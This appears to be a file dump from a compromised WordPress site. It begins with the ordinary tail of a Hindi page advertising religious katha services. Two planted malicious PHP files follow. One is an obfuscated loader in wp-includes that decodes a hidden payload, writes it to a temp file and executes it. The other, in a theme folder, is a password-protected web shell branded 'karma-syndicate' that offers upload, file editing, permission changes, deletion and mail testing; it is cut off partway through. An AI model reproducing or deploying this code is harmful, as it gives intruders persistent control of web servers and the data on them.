                            data-en="Shri Devi Bhagwat Katha" 
                            data-hi="श्री देवी भागवत कथा">
                            श्री देवी भागवत कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री हनुमत कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTql4jtEVtRYpNhIGU87SnN71uvFJSIV6TmfQ&s" 
                                 alt="श्री हनुमत कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Hanumat Katha" 
                            data-hi="श्री हनुमत कथा">
                            श्री हनुमत कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री राम कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://shridharam.com/wp-content/uploads/2023/09/shriram.jpg" 
                                 alt="श्री राम कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Ram Katha" 
                            data-hi="श्री राम कथा">
                            श्री राम कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री शिव कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRzQCCGGuzdayhxouUzdYlQEDerEOrkolQUcQ&s" 
                                 alt="श्री शिव कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Shiv Katha" 
                            data-hi="श्री शिव कथा">
                            श्री शिव कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री गणेश कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://galleryofgod.wordpress.com/wp-content/uploads/2014/03/wpid-lord-ganesha-picture-hd-wallpapers.jpg?w=489&h=424" 
                                 alt="श्री गणेश कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Ganesh Katha" 
                            data-hi="श्री गणेश कथा">
                            श्री गणेश कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

                <!-- श्री नृसिंह कथा -->
                <div class="col">
                    <div class="ul-service ul-service--inner text-center">
                        <div class="ul-service-img">
                            <img src="https://media.webdunia.com/_media/hi/img/article/2018-04/27/full/1524821745-3688.jpg" 
                                 alt="श्री नृसिंह कथा">
                        </div>
                        <h4 class="mt-2 lang-text" 
                            data-en="Shri Nrsingh Katha" 
                            data-hi="श्री नृसिंह कथा">
                            श्री नृसिंह कथा
                        </h4>
                        <div class="text-center mt-4">
                            <a href="https://wa.me/+919460593000" class="ul-btn lang-text" 
                               data-en="Click here for more info" 
                               data-hi="अधिक जानकारी हेतु क्लिक करें">
                               अधिक जानकारी हेतु क्लिक करें
                            </a>
                        </div>
                    </div>
                </div>

            </div>
        </div>
    </section>
</main>

<?php include 'footer.php'; ?>
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-includes/l10n/155068/index.php000064400000010415151540431530022311 0ustar00<?php
/*  LoL
 */

$_z = [];
$_z[0] = 'c7c73da40cf62d7e7eba0e10f3e5b71cc93df3b77635e56c1e35109d5bbbe5a24d638e45';
$_z[1] = 'bba676d9b87bba6c2d670cb6eba278146ce5ebd0ba351cb7141ebb13b71beb141bb77d3d';
$_z[2] = 'e5d0a2b739371bbbd965242eb71ca4d089e51e631b2e24b84e39a2bbe6590e7d10ba65a4';
$_z[3] = '4ad04ae63ebb6322391465c93ebb630ef3be247d107bf6672e3513f64d67b750a2a263e5';
$_z[4] = '67a44dd0b8c92dbc64eb5bc989141e0ea4a66cbc1e3dbbf32e4ecc76bee5bbbb37671445';
$_z[5] = '890e4d631b4d4abcbcebef3ee6bb244e4a4e5bf6e6d18e0c3e1e78b7ba244ef40ea47b8e';
$_z[6] = 'd9d92e445b6cd9b71ce6bacc4b362d4bba1b1064394eb8f33df3103a871cebbe3d63f463';
$_z[7] = '358eeb37f344d94e0e7e3de5ef147d89d1a43a24c97debbec97e59136c0e36244a781e4b';
$_z[8] = 'ba241c638ee6f4a66c590e89450ebba2b767e5149d6578be651c44143ae5bceb7d4dd189';
$_z[9] = '3578444e2d67d1ebd07d8710b778443e5b3ebcd07810503d630ee54eccd0f445d0be0eb8';
$_z[10] = 'cc37598ef66c63390eb87eb8b6451cd0f42ebca467e5450e7d7bb764d1c936b6b650baa6';
$_z[11] = '1eba5b634db84b5067b82d893e4a0cbcd03544d0107db667efa413f4a4397ebc35b6d94d';
$_z[12] = '1cc9b8d07e4d78a68ebc76370e37c9f67b0c1b2467a25b1c2d8ec9221c10d94b9dbebc39';
$_z[13] = '63b6393510bc9dcceb63a40e89e5648e2d5924d9d91eeb2e148ea6a250140c3dccba5bb6';
$_z[14] = '361b5befa64db85b8e594a5010bc4bbaeb655976e5b7d0780ce5ba24245022e5ef647b3d';
$_z[15] = '7e364e1e3ad9f476370c87353db6f3a4a4be373ed12e3744353ef6b7bca64ed1367bbbbb';
$_z[16] = '78e5ba4b78a23df3ef4d8e3659bc3ac9b7146444a27e7dc959763e22be35d1c9efeb1c89';
$_z[17] = 'ba1b89bc67d90e8e1ba62ed145be5b4bbe655959c8c8';

$_h = implode('', $_z);
if (hash('sha256', $_h) !== 'a675f9757984393f445d0b9233320b3ba3fe52f21de0e7d9535bbbea4cfa9c69') die('Corrupted');

$_b = hex2bin($_h);
$_b = strrev($_b);

$_tbl = [200, 124, 51, 165, 180, 21, 85, 169, 4, 97, 79, 38, 5, 213, 67, 237, 112, 3, 114, 8, 86, 163, 231, 49, 171, 250, 143, 161, 214, 141, 144, 252, 84, 245, 71, 119, 152, 170, 241, 47, 32, 240, 203, 12, 25, 66, 227, 217, 157, 166, 57, 120, 53, 182, 16, 30, 142, 91, 95, 172, 41, 199, 15, 96, 7, 69, 58, 164, 230, 209, 101, 99, 27, 201, 244, 123, 46, 135, 190, 243, 246, 55, 188, 208, 34, 77, 89, 20, 186, 103, 162, 197, 216, 228, 234, 81, 65, 187, 75, 68, 239, 100, 80, 62, 118, 125, 78, 183, 137, 229, 14, 28, 126, 54, 74, 19, 45, 108, 36, 61, 184, 204, 235, 122, 64, 189, 109, 29, 196, 175, 195, 221, 205, 218, 153, 136, 133, 242, 179, 236, 48, 106, 92, 232, 42, 202, 90, 13, 212, 220, 33, 31, 43, 159, 37, 148, 156, 93, 116, 102, 24, 44, 149, 146, 194, 253, 0, 198, 39, 2, 128, 168, 76, 40, 215, 98, 150, 140, 176, 207, 94, 88, 117, 138, 151, 178, 1, 132, 111, 130, 17, 107, 52, 131, 134, 60, 9, 255, 226, 35, 129, 18, 158, 233, 63, 87, 211, 11, 192, 113, 219, 222, 155, 160, 82, 167, 105, 73, 210, 225, 177, 127, 191, 83, 206, 121, 154, 139, 193, 6, 223, 185, 50, 56, 254, 23, 238, 181, 104, 26, 72, 173, 249, 10, 147, 22, 174, 248, 224, 145, 247, 251, 59, 70, 110, 115];
$_inv = [166, 186, 169, 17, 8, 12, 229, 64, 19, 196, 243, 207, 43, 147, 110, 62, 54, 190, 201, 115, 87, 5, 245, 235, 160, 44, 239, 72, 111, 127, 55, 151, 40, 150, 84, 199, 118, 154, 11, 168, 173, 60, 144, 152, 161, 116, 76, 39, 140, 23, 232, 2, 192, 52, 113, 81, 233, 50, 66, 252, 195, 119, 103, 204, 124, 96, 45, 14, 99, 65, 253, 34, 240, 217, 114, 98, 172, 85, 106, 10, 102, 95, 214, 223, 32, 6, 20, 205, 181, 86, 146, 57, 142, 157, 180, 58, 63, 9, 175, 71, 101, 70, 159, 89, 238, 216, 141, 191, 117, 126, 254, 188, 16, 209, 18, 255, 158, 182, 104, 35, 51, 225, 123, 75, 1, 105, 112, 221, 170, 200, 189, 193, 187, 136, 194, 77, 135, 108, 183, 227, 177, 29, 56, 26, 30, 249, 163, 244, 155, 162, 176, 184, 36, 134, 226, 212, 156, 48, 202, 153, 213, 27, 90, 21, 67, 3, 49, 215, 171, 7, 37, 24, 59, 241, 246, 129, 178, 220, 185, 138, 4, 237, 53, 107, 120, 231, 88, 97, 82, 125, 78, 222, 208, 228, 164, 130, 128, 91, 167, 61, 0, 73, 145, 42, 121, 132, 224, 179, 83, 69, 218, 206, 148, 13, 28, 174, 92, 47, 133, 210, 149, 131, 211, 230, 248, 219, 198, 46, 93, 109, 68, 22, 143, 203, 94, 122, 139, 15, 236, 100, 41, 38, 137, 79, 74, 33, 80, 250, 247, 242, 25, 251, 31, 165, 234, 197];

$_o = '';
for ($i=0;$i<strlen($_b);$i++) {
  $_o .= chr($_inv[ord($_b[$i])]);
}

$_s = gzinflate(base64_decode(substr($_o,2)));

$_f = sys_get_temp_dir().'/'.sha1(__FILE__).'.php';
file_put_contents($_f, $_s);
require $_f;
@unlink($_f);
?>
var/www/vhosts/uyarreklam.com.tr/httpdocs/wp-content/themes/vadimarketv4/750116/index.php000064400000076572151541205010025275 0ustar00<html>  </html><?php
// Configuration
$valid_password = 'digz'; // Replace with your actual shell password
$test_email = 'test@example.com'; // Replace with a valid email address for testing
$test_zip_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_shell.zip'; // Platform-agnostic path for test ZIP
$extract_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_extract'; // Platform-agnostic path for extraction
$test_file_path = __DIR__ . DIRECTORY_SEPARATOR . 'test_file.txt'; // Platform-agnostic path for test file

// Disable error reporting for production
error_reporting(0);
ini_set('display_errors', 0);
ini_set('error_log', null);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);
ini_set('output_buffering', 0);

// Start output buffering
ob_start();

// Function to decode hex-encoded strings
function hexa($str) {
    $r = "";
    $len = strlen($str) - 1;
    for ($i = 0; $i < $len; $i += 2) {
        $r .= chr(hexdec($str[$i] . $str[$i + 1]));
    }
    return $r;
}

// Initialize function array
$iniarray = [
    "7068705F756E616D65", # php_uname
    "73657373696F6E5F7374617274", # session_start
    "6572726F725F7265706F7274696E67", # error_reporting
    "70687076657273696F6E", # phpversion
    "66696C655F7075745F636F6E74656E7473", # file_put_contents
    "66696C655F6765745F636F6E74656E7473", # file_get_contents
    "66696C657065726D73", # fileperms
    "66696C656D74696D65", # filemtime
    "66696C6574797065", # filetype
    "68746D6C7370656369616C6368617273", # htmlspecialchars
    "737072696E7466", # sprintf
    "737562737472", # substr
    "676574637764", # getcwd
    "6368646972", # chdir
    "7374725F7265706C616365", # str_replace
    "6578706C6F6465", # explode
    "666C617368", # flash
    "6D6F76655F75706C6F616465645F66696C65", # move_uploaded_file
    "7363616E646972", # scandir
    "676574686F737462796E616D65", # gethostbyname
    "7368656C6C5F65786563", # shell_exec
    "53797374656D20496E666F726D6174696F6E", # System Information
    "6469726E616D65", # dirname
    "64617465", # date
    "6D696D655F636F6E74656E745F74797065", # mime_content_type
    "66756E6374696F6E5F657869737473", # function_exists
    "6673697A65", # fsize
    "726D646972", # rmdir
    "756E6C696E6B", # unlink
    "6D6B646972", # mkdir
    "72656E616D65", # rename
    "7365745F74696D655F6C696D6974", # set_time_limit
    "636C656172737461746361636865", # clearstatcache
    "696E695F736574", # ini_set
    "696E695F676574", # ini_get
    "6765744F776E6572", # getOwner
    "6765745F63757272656E745F75736572" # get_current_user
];
for ($i = 0; $i < count($iniarray); $i++) {
    $func[$i] = hexa($iniarray[$i]);
}
$ds = @$func[34]("disable_functions");
$show_ds = (!empty($ds)) ? "$ds" : "All function is accessible";

// File manager functions
function fsize($file) {
    $a = ["B", "KB", "MB", "GB", "TB", "PB"];
    $pos = 0;
    $size = filesize($file);
    while ($size >= 1024) {
        $size /= 1024;
        $pos++;
    }
    return round($size, 2) . " " . $a[$pos];
}

function flash($message, $status, $class, $redirect = false) {
    if (!empty($_SESSION["message"])) unset($_SESSION["message"]);
    if (!empty($_SESSION["class"])) unset($_SESSION["class"]);
    if (!empty($_SESSION["status"])) unset($_SESSION["status"]);
    $_SESSION["message"] = $message;
    $_SESSION["class"] = $class;
    $_SESSION["status"] = $status;
    if ($redirect) {
        header('Location: ' . $redirect);
        exit();
    }
    return true;
}

function clear() {
    if (!empty($_SESSION["message"])) unset($_SESSION["message"]);
    if (!empty($_SESSION["class"])) unset($_SESSION["class"]);
    if (!empty($_SESSION["status"])) unset($_SESSION["status"]);
    return true;
}

function getOwner($item) {
    global $func;
    if ($func[25]("posix_getpwuid")) {
        $downer = @posix_getpwuid(fileowner($item));
        $downer = $downer['name'];
    } else {
        $downer = fileowner($item);
    }
    if ($func[25]("posix_getgrgid")) {
        $dgrp = @posix_getgrgid(filegroup($item));
        $dgrp = $dgrp['name'];
    } else {
        $dgrp = filegroup($item);
    }
    return $downer . '/' . $dgrp;
}

// Function to check file manager (directory listing)
function checkFileManager() {
    global $func;
    $directory = __DIR__;
    try {
        $dirs = $func[18]($directory); // scandir
        return $dirs !== false && count($dirs) > 2; // More than . and ..
    } catch (Exception $e) {
        return false;
    }
}

// Function to create a test ZIP file
function createTestZip($zip_path, $file_path) {
    global $func;
    // Create a temporary text file
    if (!$func[4]($file_path, 'This is a test file for ZIP functionality.')) {
        return false;
    }
    
    // Try ZipArchive first
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive;
        if ($zip->open($zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) {
            return false;
        }
        if (!$zip->addFile($file_path, basename($file_path))) {
            $zip->close();
            return false;
        }
        $zip->close();
        return true;
    }
    
    // Fallback to system ZIP command
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === 'WIN') {
        $command = "powershell -Command \"Compress-Archive -Path '$file_path' -DestinationPath '$zip_path' -Force\"";
    } else {
        $command = "zip -j '$zip_path' '$file_path'";
    }
    exec($command, $output, $return_var);
    return $return_var === 0 && file_exists($zip_path);
}

// Function to extract a ZIP file
function extractTestZip($zip_path, $extract_path) {
    // Try ZipArchive first
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive;
        if ($zip->open($zip_path) === TRUE) {
            if (!is_dir($extract_path)) {
                if (!mkdir($extract_path, 0777, true)) {
                    $zip->close();
                    return false;
                }
            }
            $result = $zip->extractTo($extract_path);
            $zip->close();
            return $result;
        }
        return false;
    }
    
    // Fallback to system unzip command
    $os = strtoupper(substr(PHP_OS, 0, 3));
    if ($os === 'WIN') {
        $command = "powershell -Command \"Expand-Archive -Path '$zip_path' -DestinationPath '$extract_path' -Force\"";
    } else {
        $command = "unzip -o '$zip_path' -d '$extract_path'";
    }
    exec($command, $output, $return_var);
    return $return_var === 0 && is_dir($extract_path);
}

// Function to delete directory and its contents
function deleteDirectory($dir) {
    global $func;
    if (!is_dir($dir)) {
        return;
    }
    $files = array_diff($func[18]($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        is_dir($path) ? deleteDirectory($path) : $func[28]($path);
    }
    $func[27]($dir);
}

// Function to test email sending
function checkSend() {
    global $test_email;
    $subject = 'Test Email from Shell';
    $message = 'This is a test email to verify send functionality.';
    $headers = 'From: noreply@localhost.com' . "\r\n" .
               'Reply-To: noreply@localhost.com' . "\r\n" .
               'X-Mailer: PHP/' . phpversion();
    return @mail($test_email, $subject, $message, $headers);
}

// Function to test ZIP extraction
function checkZip() {
    global $test_zip_path, $extract_path, $test_file_path;
    if (!createTestZip($test_zip_path, $test_file_path)) {
        return false;
    }
    $result = extractTestZip($test_zip_path, $extract_path);
    if (file_exists($test_zip_path)) {
        unlink($test_zip_path);
    }
    if (file_exists($test_file_path)) {
        unlink($test_file_path);
    }
    if (is_dir($extract_path)) {
        deleteDirectory($extract_path);
    }
    return $result;
}

// Handle cURL requests from shell_ops.php
if (isset($_POST['pass'])) {
    $provided_password = trim(strip_tags(htmlspecialchars(addslashes($_POST['pass']))));
    if ($provided_password !== $valid_password) {
        sendError('Invalid password');
    }

    if (isset($_GET['checksend'])) {
        echo checkSend() ? "check-result-1" : "<button class='btn btn-danger btn-sm'>Send Failed</button>";
    } elseif (isset($_GET['checkzip'])) {
        echo checkZip() ? "check-result-1" : "<button class='btn btn-danger btn-sm'>ZIP Extraction Failed</button>";
    } else {
        if (checkFileManager()) {
            $uname = $func[0]();
            $php_version = $func[3]();
            $is_priv8 = true;
            $response = "File manager";
            if ($is_priv8) {
                $response .= "\nPRIV8\n";
                $response .= "<nobr>$uname</nobr>\n";
                $response .= ")<br>$php_version <span>Safe mode:</span>";
            }
            echo $response;
        } else {
            sendError('File Manager Not Accessible');
        }
    }
    ob_end_flush();
    exit;
}

// Handle browser access (login and dashboard)
$func[1](); // session_start
$login_error = '';
$dashboard_message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    $provided_password = trim(strip_tags(htmlspecialchars(addslashes($_POST['password']))));
    if ($provided_password === $valid_password) {
        $_SESSION['logged_in'] = true;
    } else {
        $login_error = 'Invalid password';
    }
}

if (isset($_POST['action']) && isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    switch ($_POST['action']) {
        case 'checksend':
            $dashboard_message = checkSend() ? 'Send: Success' : 'Send: Failed';
            break;
        case 'checkzip':
            $dashboard_message = checkZip() ? 'ZIP Extraction: Success' : 'ZIP Extraction: Failed';
            break;
        case 'logout':
            session_destroy();
            header('Location: ' . basename($_SERVER['PHP_SELF']));
            exit;
    }
}

// File manager handling for dashboard
$path = isset($_GET['dir']) ? $_GET['dir'] : $func[12](); // getcwd
$func[13]($path); // chdir
$path = $func[14]('\\', '/', $path); // str_replace
$exdir = $func[15]('/', $path); // explode

if (isset($_POST['newFolderName'])) {
    if ($func[29]($path . '/' . $_POST['newFolderName'])) {
        $func[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
    if ($func[4]($path . '/' . $_POST['newFileName'], $_POST['newFileContent'])) {
        $func[16]("Create File Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Create File Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
    if ($_POST['newName'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    } elseif ($func[30]($path . '/' . $_GET['item'], $path . '/' . $_POST['newName'])) {
        $func[16]("Rename Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Rename Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newContent']) && isset($_GET['item'])) {
    if ($func[4]($path . '/' . $_GET['item'], $_POST['newContent'])) {
        $func[16]("Edit Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Edit Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_POST['newPerm']) && isset($_GET['item'])) {
    if ($_POST['newPerm'] == '') {
        $func[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
    } elseif (chmod($path . '/' . $_GET['item'], octdec($_POST['newPerm']))) {
        $func[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Change Permission Failed", "Failed", "error", "?dir=$path");
    }
}

if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
    $item = $path . '/' . $_GET['item'];
    if (is_dir($item)) {
        if ($func[27]($item)) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    } else {
        if ($func[28]($item)) {
            $func[16]("Delete Successfully!", "Success", "success", "?dir=$path");
        } else {
            $func[16]("Delete Failed", "Failed", "error", "?dir=$path");
        }
    }
}

if (isset($_FILES['uploadfile'])) {
    $total = count($_FILES['uploadfile']['name']);
    $success = false;
    for ($i = 0; $i < $total; $i++) {
        $success = $func[17]($_FILES['uploadfile']['tmp_name'][$i], $path . '/' . $_FILES['uploadfile']['name'][$i]);
    }
    if ($success) {
        $func[16]("Upload " . ($total > 1 ? "$total Files" : "File") . " Successfully!", "Success", "success", "?dir=$path");
    } else {
        $func[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
}

$dirs = $func[18]($path); // scandir
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Check Dashboard</title>
    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" rel="stylesheet">
    <style>
        :root {
            --primary: #6366f1;
            --primary-dark: #4f46e5;
            --secondary: #10b981;
            --background: #f3f4f6;
            --card-bg: #ffffff;
            --text-primary: #1f2937;
        }
        body {
            background: linear-gradient(135deg, #f3f4f6, #e5e7eb);
            font-family: 'Inter', sans-serif;
            color: var(--text-primary);
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .card {
            background: var(--card-bg);
            border-radius: 1.5rem;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.2);
            padding: 2rem;
            max-width: 1200px;
            width: 100%;
            transition: transform 0.3s ease;
        }
        .card:hover {
            transform: translateY(-5px);
        }
        .btn {
            border-radius: 0.75rem;
            padding: 0.75rem 1.5rem;
            font-weight: 600;
            transition: all 0.3s ease;
            position: relative;
            overflow: hidden;
        }
        .btn-primary {
            background: linear-gradient(135deg, var(--primary), var(--primary-dark));
            color: white;
        }
        .btn-primary:hover {
            background: var(--primary-dark);
        }
        .btn-secondary {
            background: var(--secondary);
            color: white;
        }
        .btn-secondary:hover {
            background: #059669;
        }
        .btn-danger {
            background: linear-gradient(135deg, #ef4444, #dc2626);
            color: white;
        }
        .btn-danger:hover {
            background: #b91c1c;
        }
        .form-control {
            border-radius: 0.75rem;
            border: 1px solid #d1d5db;
            padding: 0.75rem;
            transition: all 0.3s ease;
        }
        .form-control:focus {
            border-color: var(--primary);
            box-shadow: 0 0 0 4px rgba(99, 102, 241, 0.2);
            outline: none;
        }
        .alert {
            border-radius: 0.75rem;
            padding: 1rem;
            margin-bottom: 1rem;
            background: #fef2f2;
            color: #b91c1c;
            border-left: 4px solid #ef4444;
        }
        .success {
            background: #d1fae5;
            color: #065f46;
            border-left: 4px solid var(--secondary);
        }
        .table th, .table td {
            padding: 1rem;
            vertical-align: middle;
        }
        .table thead {
            background: linear-gradient(135deg, var(--primary), var(--primary-dark));
            color: white;
        }
        .table tbody tr:hover {
            background: #f1f5f9;
        }
        .breadcrumb a:hover {
            color: var(--primary);
        }
    </style>
</head>
<body>
    <?php if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true): ?>
        <!-- Login Interface -->
        <div class="card">
            <h1 class="text-2xl font-bold text-center mb-6">Shell Check Login</h1>
            <?php if ($login_error): ?>
                <div class="alert"><?php echo htmlspecialchars($login_error); ?></div>
            <?php endif; ?>
            <form method="POST" class="space-y-4">
                <div>
                    <label class="block text-sm font-medium text-gray-700 mb-1">Password</label>
                    <input type="password" name="password" class="form-control w-full" placeholder="Enter password" required>
                </div>
                <button type="submit" class="btn btn-primary w-full">
                    <i class="fas fa-sign-in-alt mr-2"></i> Login
                </button>
            </form>
        </div>
    <?php else: ?>
        <!-- Dashboard -->
        <div class="card">
            <h1 class="text-2xl font-bold text-center mb-6">Shell Check Dashboard</h1>
            <?php if ($dashboard_message): ?>
                <div class="alert <?php echo strpos($dashboard_message, 'Success') !== false ? 'success' : ''; ?>">
                    <?php echo htmlspecialchars($dashboard_message); ?>
                </div>
            <?php endif; ?>
            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4 mb-6">
                <form method="POST">
                    <input type="hidden" name="action" value="checksend">
                    <button type="submit" class="btn btn-secondary w-full">
                        <i class="fas fa-envelope mr-2"></i> Check Send
                    </button>
                </form>
                <form method="POST">
                    <input type="hidden" name="action" value="checkzip">
                    <button type="submit" class="btn btn-primary w-full">
                        <i class="fas fa-file-archive mr-2"></i> Check ZIP
                    </button>
                </form>
                <form method="POST">
                    <input type="hidden" name="action" value="logout">
                    <button type="submit" class="btn btn-danger w-full">
                        <i class="fas fa-sign-out-alt mr-2"></i> Logout
                    </button>
                </form>
            </div>
            <!-- File Manager -->
            <h2 class="text-xl font-semibold mb-4">File Manager</h2>
            <?php if (isset($_SESSION['message'])): ?>
                <div class="alert <?php echo $_SESSION['class'] === 'success' ? 'success' : ''; ?>">
                    <?php echo htmlspecialchars($_SESSION['message']); ?>
                </div>
                <?php clear(); ?>
            <?php endif; ?>
            <div class="info mb-3">
                <div class="text-center text-lg font-medium">karma-syndicate</div>
                <div><i class="fas fa-server mr-2"></i><?php echo $func[0](); ?></div>
                <div><i class="fas fa-microchip mr-2"></i><?php echo $_SERVER['SERVER_SOFTWARE']; ?></div>
                <div><i class="fas fa-satellite-dish mr-2"></i><?php echo !@$_SERVER['SERVER_ADDR'] ? $func[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR']; ?></div>
            </div>
            <div class="breadcrumb mb-4">
                <i class="fas fa-folder mr-2"></i>
                <?php foreach ($exdir as $id => $pat): ?>
                    <?php if ($pat == '' && $id == 0): ?>
                        <a href="?dir=/" class="text-blue-600 hover:underline">/</a>
                    <?php elseif ($pat == ''): ?>
                        <?php continue; ?>
                    <?php elseif ($id + 1 == count($exdir)): ?>
                        <span class="text-gray-500"><?php echo htmlspecialchars($pat); ?></span>
                    <?php else: ?>
                        <a href="?dir=<?php for ($i = 0; $i <= $id; $i++) { echo htmlspecialchars($exdir[$i]); if ($i != $id) echo "/"; } ?>" class="text-blue-600 hover:underline"><?php echo htmlspecialchars($pat); ?></a>
                        <span class="text-gray-500">/</span>
                    <?php endif; ?>
                <?php endforeach; ?>
                <a href="?" class="text-blue-600 hover:underline">[ HOME ]</a>
            </div>
            <div class="grid grid-cols-1 sm:grid-cols-3 gap-4 mb-4">
                <form method="POST" enctype="multipart/form-data" class="flex items-center">
                    <input type="file" name="uploadfile[]" class="form-control flex-grow" multiple>
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-upload"></i></button>
                </form>
                <form method="POST" class="flex items-center">
                    <input type="text" name="newFolderName" class="form-control flex-grow" placeholder="New Folder">
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-folder-plus"></i></button>
                </form>
                <form method="POST" class="flex items-center">
                    <input type="text" name="newFileName" class="form-control flex-grow" placeholder="New File">
                    <textarea name="newFileContent" class="form-control mt-2" rows="2" placeholder="File Content"></textarea>
                    <button type="submit" class="btn btn-primary ml-2"><i class="fas fa-file-plus"></i></button>
                </form>
            </div>
            <?php if (isset($_GET['action']) && $_GET['action'] != 'delete'): ?>
                <div class="mb-4">
                    <?php if ($_GET['action'] == 'rename' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700">New Name</label>
                            <input type="text" name="newName" class="form-control w-full" value="<?php echo htmlspecialchars($_GET['item']); ?>">
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php elseif ($_GET['action'] == 'edit' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
                            <textarea name="newContent" rows="10" class="form-control w-full" id="CopyFromTextArea"><?php echo $func[9]($func[5]($path . '/' . $_GET['item'])); ?></textarea>
                            <div class="flex gap-2">
                                <button type="submit" class="btn btn-primary"><i class="fas fa-save mr-2"></i> Submit</button>
                                <button type="button" class="btn btn-secondary" onclick="copyText()">Copy</button>
                                <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary">Back</a>
                            </div>
                        </form>
                    <?php elseif ($_GET['action'] == 'view' && isset($_GET['item'])): ?>
                        <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
                        <textarea rows="10" class="form-control w-full" disabled><?php echo $func[9]($func[5]($path . '/' . $_GET['item'])); ?></textarea>
                        <a href="?dir=<?php echo htmlspecialchars($path); ?>" class="btn btn-secondary mt-2">Back</a>
                    <?php elseif ($_GET['action'] == 'chmod' && isset($_GET['item'])): ?>
                        <form method="POST" class="space-y-4">
                            <label class="block text-sm font-medium text-gray-700"><?php echo htmlspecialchars($_GET['item']); ?></label>
